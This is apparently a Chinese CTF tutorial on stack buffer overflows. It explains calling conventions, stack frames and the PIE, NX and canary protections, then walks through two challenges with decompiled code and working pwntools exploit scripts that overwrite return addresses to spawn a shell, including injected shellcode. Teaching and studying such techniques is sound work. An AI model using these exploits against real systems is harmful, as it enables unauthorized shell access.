栈溢出(ret2text、ret2shellcode)

栈溢出

声明:仅个人理解,如有错误,肯请指正

汇编前置

假设你已在学校学过 8086/8088
8086中的寄存器,如 ax 等都是 16位 的
在 x86 架构中,32位的寄存器在前面添加字母 e 来表示,如:%eax
在 x86_64 中,64位寄存器在前面添加字母 r 来表示,如:%rax

寄存器

一个地址编号对应一个字节(8bit)
esp :栈顶
ebp :栈底

函数调用约定

  1. __cdecl: C/C++缺省调用约定,参数从右向左入栈,返回值在eax中,由调用者清理栈(允许可变参数函数存在)
  2. __stdcall:参数从右向左入栈,返回值在eax中,由函数自身清理栈
  3. __fastcall:用ecx和edx传送前两个双字或更小的参数,剩下的参数从右向左入栈,返回值在eax中,由函数自身清理栈

以 __cdecl 为例,调用 int fun(int a, int b) 这个函数的过程如下:

1
2
3
4
5
6
7
8
; 调用者
; 函数参数从右向左入栈
push b
push a

call fun ; 等价于 push eip(保存返回地址) ; jmp max 两条指令

add esp, 8 ; 调用者清理栈(8 是因为调用 fun 压入了两个四字节的参数)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
; 被调用者(函数自身)
push ebp ; 保存上一个栈帧的栈底

; 开辟新的栈帧
mov ebp, esp ; 以上一个栈帧的栈顶为新栈帧的栈底
sub esp, 12 ; 为局部变量、临时数据等分配空间(先开辟空间后赋值)

; ...
; 假设变量都是四字节,则如下依次类推
mov dword [ebp-4], 10 ; 第一个变量
mov dword [ebp-8], 20 ; 第二个变量
mov dword [ebp-12], 30 ; 第三个变量
; ...

mov eax, ret_val ; 保存返回值
leave ; 等价于 mov esp, ebp ; pop ebp 两条指令,即恢复为上一个栈帧

ret ; 等价于 pop eip,即将返回地址出栈给 eip

图示栈的结构

栈溢出基本原理(ret2text)

在 x86 中,栈由 高地址 向 低地址 生长,以双字(32bit 即 4 字节)为基本单位进行操作,因此 pushesp -= 4,放数据pop出数据,esp += 4
但是我们写入数据是从低地址向高地址增加的,因此当输入数据过多,就有可能覆盖掉原本高地址中的返回地址,变成我们想要执行的函数的地址

[SWPUCTF 2021 新生赛] gift_pwn 为例: 用 IDA 打开附件,主要函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int gift()
{
puts("Welcom new to NSS");
return system("/bin/sh");
}

ssize_t vuln()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

return read(0, buf, 0x64uLL);
}


int __fastcall main(int argc, const char **argv, const char **envp)
{
vuln(argc, argv, envp);
return 0;
}

我们看到在函数 vuln 中,read允许最多读入 0x64 即 100 个字节,而局部变量 buf 只开了 16个字节(除了知道char是一个字节一共开了16个算出来之外可以看注释里的[rbp-10h],其中 10h 就是16),因此可以尝试通过输入将函数 gift 的地址覆盖原本的返回地址,那要输入多少个字节呢?

这是一个 64 位的程序,因此栈的基本操作单位是8个字节。
局部变量 buf 占了16个字节,上一个栈帧的栈底占了8个字节(基本操作单位),因此一共是24个字节,就到了返回地址所在地方,在此处再写入8个字节gift函数地址即可

1
2
.text:00000000004005B6                 public gift
.text:00000000004005B6 gift proc near

在x86架构中,数据的读取遵循"小端序"(Little-Endian)原则,因此确保高位写入高地址,低位写入低地址

脚本如下:

1
2
3
4
5
from pwn import *
sh = remote('node7.anna.nssctf.cn', 20905)
target = 0x4005B6
sh.sendline(b'A' * (0x10 + 8) + p64(target))
sh.interactive()
结果如下:

ret2shellcode

当原本的程序中没有现成的代码可以给我们利用以获取shell,我们可以自己写一个代码获取shell,这个代码就叫shellcode,可以自己写汇编代码,可以从网上找,也可以直接用pwntools里自带的

注意能够ret2shellcode的要求shellcode所在段具有 可写可执行 的权限

编译器所开启的一些保护措施

1. PIE

在没有开启任何保护的情况下,程序会被加载到一个固定的地址上,这表示我们根据这个固定地址加上偏移量即可得到有效地址,而且偏移量通常可以通过逆向手段确定,而当开启编译器提供的 PIE 保护选项,程序就会被加载到内存的随机位置,这个位置只有操作系统知道,从而更加安全
PIE 基于ASLR实现,所以前提必须开启ASLR

我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

引用自 ctfwiki

2. NX

内存中有分页和分段,因此每个段都可以有自己所允许的权限,开启 NX 就会修改段的权限设置,将没有必要的权限移除,比如数据段不需要可执行权限等

3. Canary

Canary 就是在ebp的位置上方插入一条独特的数据,这个数据是不可预测的,在执行某些重要操作前会首先检测这个数据有没有被改动,如果被改动了则进程会直接退出,避免栈溢出

例题

[HNCTF 2022 Week1] ret2shellcode 为例

检测程序开启的保护

1
2
3
4
5
6
7
8
9
10
11
(pip_venv) ubuntu:~/ctf/nss/pwn/ret2shellcode$ checksec shellcode
[!] Could not populate PLT: No module named 'distutils'
[*] '/home/ubuntu/ctf/nss/pwn/ret2shellcode/shellcode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

开启了NX保护是不太能用shellcode的,但是用IDA打开如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[256]; // [rsp+0h] [rbp-100h] BYREF

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
memset(s, 0, sizeof(s));
read(0, s, 0x110uLL);
strcpy(buff, s);
return 0;
}

这是64位的程序,且很贴心的使用 mprotect 函数将 stdout 所在的内存页设置为可读(4)、可写(2)、可执行(1),权限值为7

使用 vmmap 也可以查看到 0x404000~0x405000 具有可写可执行的权限

根据 strcpy(buff, s); 找到 buff 地址为 0x4040A0,在 0x404000~0x405000 中:

1
2
3
4
.bss:00000000004040A0                 public buff
.bss:00000000004040A0 ; char buff[256]
.bss:00000000004040A0 buff db 100h dup(?) ; DATA XREF: main+B0↑o
.bss:00000000004040A0 _bss ends
因此目标跳转地址就是buff所在的地址,从 char s[256]; // [rsp+0h] [rbp-100h] BYREF 可知距离返回地址 0x100 + 8 ,其中 8 是因为是64位栈以8字节为基本操作单位,上一个栈帧的栈底

代码如下:

1
2
3
4
5
6
7
8
from pwn import *

context.arch = 'amd64'
sh = remote('node5.anna.nssctf.cn', 25915)
shellcode = asm(shellcraft.sh())
target = 0x4040A0
sh.sendline(shellcode.ljust(0x100 + 8, b'A') + p64(target))
sh.interactive()

结果: